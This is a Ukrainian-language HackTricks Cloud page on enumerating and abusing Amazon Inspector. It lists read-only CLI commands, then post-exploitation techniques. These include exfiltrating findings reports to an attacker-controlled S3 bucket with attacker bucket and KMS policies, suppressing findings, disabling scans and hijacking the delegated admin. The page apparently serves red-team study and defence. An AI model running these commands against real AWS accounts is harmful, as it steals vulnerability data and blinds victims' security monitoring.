AWS - Inspector Enum
Reading time: 16 minutes
AWS - Inspector Enum
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Inspector
Amazon Inspector - це розширена автоматизована служба управління вразливостями, розроблена для підвищення безпеки вашого середовища AWS. Ця служба постійно сканує екземпляри Amazon EC2, образи контейнерів в Amazon ECR, Amazon ECS та функції AWS Lambda на наявність вразливостей та ненавмисного мережевого впливу. Використовуючи надійну базу даних інтелекту вразливостей, Amazon Inspector надає детальні висновки, включаючи рівні серйозності та рекомендації щодо усунення, допомагаючи організаціям проактивно виявляти та усувати ризики безпеки. Цей комплексний підхід забезпечує зміцнену безпеку в різних службах AWS, сприяючи дотриманню вимог та управлінню ризиками.
Key elements
Findings
Висновки в Amazon Inspector - це детальні звіти про вразливості та впливи, виявлені під час сканування екземплярів EC2, репозиторіїв ECR або функцій Lambda. В залежності від свого стану, висновки класифікуються як:
- Active: Висновок не був усунений.
- Closed: Висновок був усунений.
- Suppressed: Висновок був позначений цим станом через одну або кілька правил придушення.
Висновки також класифікуються на три типи:
- Package: Ці висновки стосуються вразливостей у програмних пакетах, встановлених на ваших ресурсах. Прикладами є застарілі бібліотеки або залежності з відомими проблемами безпеки.
- Code: Ця категорія включає вразливості, виявлені в коді додатків, що працюють на ваших ресурсах AWS. Загальні проблеми - це помилки кодування або ненадійні практики, які можуть призвести до порушень безпеки.
- Network: Мережеві висновки виявляють потенційні впливи в мережевих конфігураціях, які можуть бути використані зловмисниками. До них відносяться відкриті порти, ненадійні мережеві протоколи та неправильно налаштовані групи безпеки.
Filters and Suppression Rules
Фільтри та правила придушення в Amazon Inspector допомагають управляти та пріоритизувати висновки. Фільтри дозволяють уточнити висновки на основі конкретних критеріїв, таких як серйозність або тип ресурсу. Правила придушення дозволяють придушити певні висновки, які вважаються низьким ризиком, вже були пом'якшені або з будь-якої іншої важливої причини, запобігаючи їх перевантаженню ваших звітів з безпеки та дозволяючи зосередитися на більш критичних питаннях.
Software Bill of Materials (SBOM)
Програмний рахунок матеріалів (SBOM) в Amazon Inspector - це експортований вкладений список інвентаризації, що детально описує всі компоненти в межах програмного пакета, включаючи бібліотеки та залежності. SBOM допомагає забезпечити прозорість у ланцюгу постачання програмного забезпечення, що дозволяє покращити управління вразливостями та дотримання вимог. Вони є важливими для виявлення та пом'якшення ризиків, пов'язаних з компонентами програмного забезпечення з відкритим кодом та сторонніми постачальниками.
Key features
Export findings
Amazon Inspector пропонує можливість експортувати висновки до Amazon S3 Buckets, Amazon EventBridge та AWS Security Hub, що дозволяє генерувати детальні звіти про виявлені вразливості та впливи для подальшого аналізу або обміну в конкретну дату та час. Ця функція підтримує різні формати виводу, такі як CSV та JSON, що полегшує інтеграцію з іншими інструментами та системами. Функціональність експорту дозволяє налаштувати дані, включені до звітів, дозволяючи вам фільтрувати висновки на основі конкретних критеріїв, таких як серйозність, тип ресурсу або діапазон дат, і за замовчуванням включати всі ваші висновки в поточному регіоні AWS зі статусом Active.
При експорті висновків необхідний ключ служби управління ключами (KMS) для шифрування даних під час експорту. Ключі KMS забезпечують захист експортованих висновків від несанкціонованого доступу, надаючи додатковий рівень безпеки для чутливої інформації про вразливості.
Amazon EC2 instances scanning
Amazon Inspector пропонує надійні можливості сканування для екземплярів Amazon EC2 для виявлення вразливостей та проблем безпеки. Inspector порівнює витягнуті метадані з екземпляра EC2 з правилами з безпекових рекомендацій для виявлення вразливостей пакетів та проблем доступності мережі. Ці сканування можуть виконуватися за допомогою агентних або безагентних методів, залежно від налаштувань конфігурації режиму сканування вашого облікового запису.
- Agent-Based: Використовує агент AWS Systems Manager (SSM) для проведення глибоких сканувань. Цей метод дозволяє здійснювати всебічний збір та аналіз даних безпосередньо з екземпляра.
- Agentless: Надає легкий альтернативний варіант, який не вимагає встановлення агента на екземплярі, створюючи знімок EBS кожного тому екземпляра EC2, шукаючи вразливості, а потім видаляючи його; використовуючи існуючу інфраструктуру AWS для сканування.
Режим сканування визначає, який метод буде використано для виконання сканувань EC2:
- Agent-Based: Включає встановлення агента SSM на екземплярах EC2 для глибокої перевірки.
- Hybrid Scanning: Поєднує як агентні, так і безагентні методи для максимального охоплення та мінімізації впливу на продуктивність. У тих екземплярах EC2, де встановлено агент SSM, Inspector виконає агентне сканування, а для тих, де немає агента SSM, сканування буде виконано безагентно.
Ще одна важлива функція - це глибока перевірка для екземплярів EC2 на базі Linux. Ця функція пропонує всебічний аналіз програмного забезпечення та конфігурації екземплярів EC2 на базі Linux, надаючи детальні оцінки вразливостей, включаючи вразливості операційної системи, вразливості додатків та неправильні налаштування, забезпечуючи всебічну оцінку безпеки. Це досягається шляхом перевірки кастомних шляхів та всіх їх підкаталогів. За замовчуванням Amazon Inspector сканує наступні, але кожен обліковий запис може визначити до 5 додаткових кастомних шляхів, а кожен делегований адміністратор - до 10:
/usr/lib
/usr/lib64
/usr/local/lib
/usr/local/lib64
Amazon ECR container images scanning
Amazon Inspector надає надійні можливості сканування для образів контейнерів Amazon Elastic Container Registry (ECR), забезпечуючи виявлення та ефективне управління вразливостями пакетів.
- Basic Scanning: Це швидке та легке сканування, яке виявляє відомі вразливості ОС пакетів в образах контейнерів, використовуючи стандартний набір правил з проекту з відкритим кодом Clair. З цією конфігурацією сканування ваші репозиторії будуть скануватися при завантаженні або під час виконання ручних сканувань.
- Enhanced Scanning: Ця опція додає функцію безперервного сканування на додаток до сканування при завантаженні. Розширене сканування заглиблюється в шари кожного образу контейнера, щоб виявити вразливості в пакетах ОС та в пакетах мов програмування з більшою точністю. Воно аналізує як базовий образ, так і будь-які додаткові шари, надаючи всебічний огляд потенційних проблем безпеки.
Amazon Lambda functions scanning
Amazon Inspector включає всебічні можливості сканування для функцій AWS Lambda та їх шарів, забезпечуючи безпеку та цілісність безсерверних додатків. Inspector пропонує два типи сканування для функцій Lambda:
- Lambda standard scanning: Ця стандартна функція виявляє вразливості програмного забезпечення в залежностях пакета додатка, доданих до вашої функції Lambda та шарів. Наприклад, якщо ваша функція використовує версію бібліотеки, такої як python-jwt, з відомою вразливістю, вона генерує висновок.
- Lambda code scanning: Аналізує кастомний код додатка на предмет проблем безпеки, виявляючи вразливості, такі як вразливості ін'єкцій, витоки даних, слабке шифрування та відсутнє шифрування. Він захоплює фрагменти коду, що підкреслюють виявлені вразливості, такі як закодовані віртуальні дані. Висновки включають детальні рекомендації щодо усунення та фрагменти коду для виправлення проблем.
Center for Internet Security (CIS) scans
Amazon Inspector включає сканування CIS для оцінки операційних систем екземплярів Amazon EC2 відповідно до рекомендацій кращих практик від Центру безпеки Інтернету (CIS). Ці сканування забезпечують дотримання конфігурацій стандартам безпеки галузі.
- Configuration: Сканування CIS оцінює, чи відповідають системні конфігурації конкретним рекомендаціям CIS Benchmark, при цьому кожна перевірка пов'язана з ідентифікатором перевірки CIS та заголовком.
- Execution: Сканування виконуються або плануються на основі тегів екземпляра та визначених графіків.
- Results: Результати після сканування вказують, які перевірки пройшли, були пропущені або не пройшли, надаючи уявлення про безпекову позицію кожного екземпляра.
Enumeration
# Administrator and member accounts #
## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account
## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]
## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions
# Findings #
## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>
# CIS #
## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>
# Configuration #
## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration
# Miscellaneous #
## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>
## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>
## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>
## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>
## List the filters associated to your AWS account
aws inspector2 list-filters
## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics
## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]
### INSPECTOR CLASSIC ###
## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions
## Get findings
aws inspector list-findings
## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>
## Rule packages
aws inspector list-rules-packages
Постексплуатація
tip
З точки зору атакуючого, ця служба може допомогти атакуючому знайти вразливості та мережеві витоки, які можуть допомогти йому скомпрометувати інші екземпляри/контейнери.
Однак, атакуючий також може бути зацікавлений у порушенні цієї служби, щоб жертва не могла бачити вразливості (всі або конкретні).
inspector2:CreateFindingsReport
, inspector2:CreateSBOMReport
Атакуючий може створити детальні звіти про вразливості або рахунки на програмне забезпечення (SBOM) та ексфільтрувати їх з вашого середовища AWS. Цю інформацію можна використовувати для виявлення конкретних слабкостей, застарілого програмного забезпечення або небезпечних залежностей, що дозволяє здійснювати цілеспрямовані атаки.
# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]
Наступний приклад показує, як ексфільтрувати всі активні знахідки з Amazon Inspector до контролюваного атакуючим Amazon S3 Bucket з контролюваним атакуючим Amazon KMS ключем:
- Створіть Amazon S3 Bucket і прикріпіть до нього політику, щоб він був доступний з жертви Amazon Inspector:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
- Створіть ключ Amazon KMS та прикріпіть до нього політику, щоб він міг використовуватися Amazon Inspector жертви:
{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
- Виконайте команду для створення звіту про знахідки, ексфільтруючи його:
aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
- Потенційний вплив: Генерація та ексфільтрація детальних звітів про вразливості та програмне забезпечення, отримання інформації про конкретні вразливості та слабкі місця в безпеці.
inspector2:CancelFindingsReport
, inspector2:CancelSbomExport
Зловмисник може скасувати генерацію вказаного звіту про вразливості або звіту SBOM, що заважає командам безпеки отримувати своєчасну інформацію про вразливості та рахунки програмного забезпечення (SBOM), затримуючи виявлення та усунення проблем безпеки.
# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
- Потенційний вплив: Порушення моніторингу безпеки та запобігання своєчасному виявленню та усуненню проблем безпеки.
inspector2:CreateFilter
, inspector2:UpdateFilter
, inspector2:DeleteFilter
Зловмисник з цими дозволами зможе маніпулювати правилами фільтрації, які визначають, які вразливості та проблеми безпеки повідомляються або подавляються (якщо дія встановлена на SUPPRESS, буде створено правило подавлення). Це може приховати критичні вразливості від адміністраторів безпеки, що полегшує експлуатацію цих слабкостей без виявлення. Змінюючи або видаляючи важливі фільтри, зловмисник також може створити шум, заповнюючи систему нерелевантними знахідками, що заважає ефективному моніторингу та реагуванню на безпеку.
# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
- Потенційний вплив: Приховування або подавлення критичних вразливостей, або заповнення системи нерелевантними знахідками.
inspector2:DisableDelegatedAdminAccount
, (inspector2:EnableDelegatedAdminAccount
& organizations:ListDelegatedAdministrators
& organizations:EnableAWSServiceAccess
& iam:CreateServiceLinkedRole
)
Зловмисник може суттєво порушити структуру управління безпекою.
- Вимкнувши делегований обліковий запис адміністратора, зловмисник може перешкодити команді безпеки отримувати доступ до налаштувань і звітів Amazon Inspector.
- Увімкнення несанкціонованого облікового запису адміністратора дозволить зловмиснику контролювати конфігурації безпеки, потенційно вимикаючи сканування або змінюючи налаштування для приховування шкідливої діяльності.
warning
Необхідно, щоб несанкціонований обліковий запис був в тій же Організації, що й жертва, щоб стати делегованим адміністратором.
Щоб несанкціонований обліковий запис став делегованим адміністратором, також необхідно, щоб після вимкнення легітимного делегованого адміністратора, і перед увімкненням несанкціонованого облікового запису як делегованого адміністратора, легітимний адміністратор повинен бути виключений як делегований адміністратор з організації. Це можна зробити за допомогою наступної команди (organizations:DeregisterDelegatedAdministrator
потрібен дозвіл): aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)
# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
- Потенційний вплив: Порушення управління безпекою.
inspector2:AssociateMember
, inspector2:DisassociateMember
Зловмисник може маніпулювати асоціацією облікових записів учасників в організації Amazon Inspector. Асуючи несанкціоновані облікові записи або від'єднуючи легітимні, зловмисник може контролювати, які облікові записи включені в сканування безпеки та звітність. Це може призвести до виключення критичних облікових записів з моніторингу безпеки, що дозволяє зловмиснику експлуатувати вразливості в цих облікових записах без виявлення.
warning
Цю дію повинен виконувати делегований адміністратор.
# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
- Потенційний вплив: Виключення ключових облікових записів з перевірок безпеки, що дозволяє непомічену експлуатацію вразливостей.
inspector2:Disable
, (inspector2:Enable
& iam:CreateServiceLinkedRole
)
Зловмисник з дозволом inspector2:Disable
зможе вимкнути перевірки безпеки для конкретних типів ресурсів (EC2, ECR, Lambda, код Lambda) для зазначених облікових записів, залишаючи частини середовища AWS без нагляду та вразливими до атак. Крім того, завдяки дозволам inspector2:Enable
та iam:CreateServiceLinkedRole
, зловмисник зможе повторно ввімкнути перевірки вибірково, щоб уникнути виявлення підозрілих конфігурацій.
warning
Цю дію потрібно виконувати делегованим адміністратором.
# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
- Потенційний вплив: Створення сліпих зон у моніторингу безпеки.
inspector2:UpdateOrganizationConfiguration
Зловмисник з цим дозволом зможе оновити конфігурації для вашої організації Amazon Inspector, що вплине на стандартні функції сканування, увімкнені для нових облікових записів учасників.
warning
Цю дію потрібно виконувати делегованим адміністратором.
aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
- Потенційний вплив: Змінити політики та конфігурації безпеки для організації.
inspector2:TagResource
, inspector2:UntagResource
Зловмисник може маніпулювати тегами на ресурсах AWS Inspector, які є критично важливими для організації, відстеження та автоматизації оцінок безпеки. Змінюючи або видаляючи теги, зловмисник може потенційно приховати вразливості від сканувань безпеки, порушити звітність про відповідність і заважати автоматизованим процесам виправлення, що призведе до неконтрольованих проблем з безпекою та порушення цілісності системи.
aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
- Потенційний вплив: Приховування вразливостей, порушення звітності про відповідність, порушення автоматизації безпеки та порушення розподілу витрат.
Посилання
- https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html
- https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.